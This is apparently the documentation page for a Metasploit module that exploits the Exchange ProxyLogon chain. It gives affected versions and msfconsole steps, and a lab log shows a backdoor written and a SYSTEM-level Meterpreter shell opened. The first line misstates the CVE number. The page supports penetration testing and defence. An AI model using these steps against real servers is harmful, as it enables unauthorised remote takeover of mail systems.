## Vulnerable Application

CVE-2021-28855 is a pre-authentication SSRF (Server Side Request Forgery) which allows an attacker to
bypass authentication by sending specially crafted HTTP requests. This vulnerability is part of an attack
chain used to perform an RCE (Remote Code Execution).

CVE-2021-27065 is a post-auth arbitrary-file-write vulnerability to get code execution and the second part
of the ProxyLogon attack chain.

This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013,
Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).

### Introduction

This module exploit a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the
authentication, impersonating as the admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to
get the RCE (Remote Code Execution).

By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft
Exchange Server.

All components are vulnerable by default.

## Verification Steps

1. Start msfconsole
2. Do: `use exploit/windows/http/exchange_proxylogon_rce`
3. Do: `set RHOSTS [IP]`
4. Do: `set EMAIL [EMAIL ADDRESS]`
5. Do: `run`

## Options

### EMAIL

A known email address for this organization.

### METHOD

HTTP Method to use for the check (only). Default: POST

### UseAlternatePath

Use the IIS root dir as alternate path. Default: false

## Advanced Options

### BackendServerName

Force the name of the backend Exchange server targeted. Default: Automatic

If not set, the automatic method will use an RPC call to detect the backend server FQDN. This is required because the
kerberos-authenticated SSRF can only be sent when the FQDN is known.

### ExchangeBasePath

The base path where Exchange is installed. Default: C:\Program Files\Microsoft\Exchange Server\V15

### ExchangeWritePath

The path where you want to write the backdoor. Default: owa\auth

You can for example, define to: ecp\auth

### IISBasePath

The base path where IIS wwwroot directory is. Default: C:\inetpub\wwwroot

### IISWritePath

The path where you want to write the backdoor. Default: aspnet_client

### MapiClientApp

This is MAPI client version sent in the request.

### MaxWaitLoop

Max counter loop to wait for OAB Virtual Dir reset. Default: 30

## Known issues

1. With `cmd/windows/adduser` payload, you may need to change the password because the default password does may
not meet Microsoft Windows complexity requirements.
2. Depending on the payload used, two `cmd.exe` processes remain alive on the server. If this is the case, you cannot
make another attempt if they are not killed.

## Scenarios

```
msf exploit(windows/http/exchange_proxylogon_rce) > options 

Module options (exploit/windows/http/exchange_proxylogon_rce):

   Name              Current Setting         Required  Description
   ----              ---------------         --------  -----------
   EMAIL             TestUserDA@adlab.local  yes       A known email address for this organization
   METHOD            POST                    yes       HTTP Method to use for the check (Accepted: GET, POST)
   Proxies                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS            192.168.49.58           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             443                     yes       The target port (TCP)
   SRVHOST           0.0.0.0                 yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT           8080                    yes       The local port to listen on.
   SSL               true                    no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                                   no        The URI to use for this exploit (default is random)
   UseAlternatePath  false                   yes       Use the IIS root dir as alternate path
   VHOST                                     no        HTTP server virtual host


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     192.168.49.58     no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Windows Powershell


msf exploit(windows/http/exchange_proxylogon_rce) > exploit

[*] Executing automatic check (disable AutoCheck to override)
[*] Using auxiliary/scanner/http/exchange_proxylogon as check
[+] https://192.168.49.58:443 - The target is vulnerable to CVE-2021-26855.
[*] Scanned 1 of 1 hosts (100% complete)
[+] The target is vulnerable.
[*] https://192.168.49.58:443 - Attempt to exploit for CVE-2021-26855
[*] https://192.168.49.58:443 - Retrieving backend FQDN over RPC request
[*] Internal server name (srv02.adlab.local)
[*] https://192.168.49.58:443 - Sending autodiscover request
[*] Server: f652b961-f28e-448f-a8c6-5ff447ff06dd@adlab.local
[*] LegacyDN: /o=ExchangeLab/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=536cfe04ed60470a9a06efe4dfceebf6-Domain admin
[*] https://192.168.49.58:443 - Sending mapi request
[*] SID: S-1-5-21-1051242124-2374699599-3566640746-1113 (TestUserDA@adlab.local)
[*] https://192.168.49.58:443 - Sending ProxyLogon request
[*] Try to get a good msExchCanary (by patching user SID method)
[*] Try to get a good msExchCanary (without correcting the user SID)
[*] ASP.NET_SessionId: 39a0877e-e375-4f8f-b0dd-91dd2a57b2a8
[*] msExchEcpCanary: UFktnukJHk-HpS5vFKa0S7atYvxM9NgI9yo0dsMXgwN8vT1lu_YEmgGvWJdOoBycjlxjgzb95A4.
[*] OAB id: 9b86fdec-7db0-4335-b207-a80596c524af (OAB (Default Web Site))
[*] https://192.168.49.58:443 - Attempt to exploit for CVE-2021-27065
[*] Preparing the payload on the remote target
[*] Writing the payload on the remote target
[!] Waiting for the payload to be available
[+] Yeeting windows/x64/meterpreter/bind_tcp payload at 192.168.49.58:443
[*] Started bind TCP handler against 192.168.49.58:4444
[*] Sending stage (200262 bytes) to 192.168.49.58
[+] Deleted C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\TgnqKA.aspx
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 192.168.49.58:4444) at 2021-03-29 09:59:17 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : SRV02
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : ADLAB
Logged On Users : 7
Meterpreter     : x64/windows
meterpreter >
```
